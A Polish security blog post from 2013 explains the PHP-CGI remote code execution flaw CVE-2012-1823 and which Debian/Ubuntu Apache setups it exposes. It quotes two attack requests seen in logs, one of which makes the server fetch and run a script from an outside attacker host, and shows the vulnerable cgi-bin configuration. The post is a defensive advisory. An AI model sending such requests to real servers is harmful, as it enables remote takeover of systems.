CVE-2012-1823 – Apache / PHP5.x Remote Code Execution Exploit
Napisał: Patryk Krawaczyński
09/12/2013 w Bezpieczeństwo Brak komentarzy. (artykuł nr 425, ilość słów: 400)
W
maju 2012 roku opublikowano lukę w PHP CVE-2012-1823. Dotyczy ona tylko serwerów, które posiadają skonfigurowaną obsługę języka PHP jako skrypty CGI. Chociaż nie jest to domyślna konfiguracja w większości systemów – w takich dystrybucjach jak Debian i Ubuntu instalując paczkę php5-cgi i zostawiając domyślne ustawienia serwera Apache – pozwalające na dostępność binarnych plików w ścieżce http://serwer/cgi-bin/php5
wystawiamy nasz serwer na eksplorację luki. O zasadzie luki możemy przeczytać tutaj.
We wtorek 29 października tego roku autor exploitów Kingcope wydał kod wykorzystujący tą lukę. Po publikacji tego kodu pojawiły również się inne warianty – między innymi ten wydany przez noptriksa. Od tego czasu można zauważyć wzmożony ruch requestów do serwerów HTTPd typu:
GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+ -d+max_execution_time%3D0+-d+disable_functions%3D\"\"+-d+open_basedir%3Dnone+ -d+auto_prepend_file%3Dhttp%3A%2F%2Fhecks.ddosdev.com%2F32.txt+-d+cgi%2Eforce_redirect%3D0+ -d+cgi%2Eredirect_status_env%3D0+-n HTTP/1.0
lub
POST //%63%67%69%2D%62%69%6E/%70%68%70%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75 %64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6 E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74 %69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%6 1%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D% 64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65% 64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%7 0%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Wzmożona aktywność skrypciaków i automatów skanujących może wskazywać, że jeszcze wiele serwerów posiada podatność na ten błąd. Warto wspomnieć, że dodatkowo w dystrybucjach Debian i Ubuntu – użytkownik z prawami, którego uruchomiony jest serwer Apache – www-data posiada ustawioną powłokę systemową /bin/sh, która umożliwia wykonywanie poleceń systemowych – dlatego nawet, jeśli nie korzystamy z PHP w konfiguracji CGI, ale posiadamy zainstalowany pakiet php5-cgi oraz standardową konfigurację Apache, a dokładniej aktywny wpis:
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all </Directory>
Może dojść do sytuacji, że nas serwer zostanie skompromitowany i wykorzystany do dalszych ataków przez narzędzia wykonywane z konta www-data. W dodatku firma Symantec jakiś czas temu odkryła robaka, który za cel wybiera sobie nie tylko serwery, ale wszystkie urządzenia sieciowe podłączone do Internetu.
Więcej informacji: Possible attacks, An important PHP security update